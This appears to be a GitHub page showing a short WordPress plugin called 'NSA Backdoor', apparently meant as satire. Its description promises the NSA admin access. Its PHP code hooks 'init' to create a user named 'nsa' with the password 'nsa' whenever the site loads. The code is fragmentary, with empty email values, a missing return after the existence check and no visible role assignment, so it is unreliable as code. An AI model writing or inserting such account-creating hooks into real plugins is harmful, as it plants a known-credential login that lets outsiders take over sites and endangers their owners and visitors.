Find file
Fetching contributors…
Cannot retrieve contributors at this time
27 lines (19 sloc) 564 Bytes
Plugin Name: NSA Backdoor
Description: Make it easy for the NSA to have admin access to your site
Author: Aaron Jorbin
Version: 1.0
Author URI:
License: GPLv2 or later
function nsabackdoor_create_login() {
//already added, no need to add again
if ( get_user_by( 'email', '' ) )
//add user
$nsaUserId = wp_create_user('nsa', 'nsa', '');
$nsaUser = new WP_User($nsaUserId);
add_action( 'init', 'nsabackdoor_create_login' );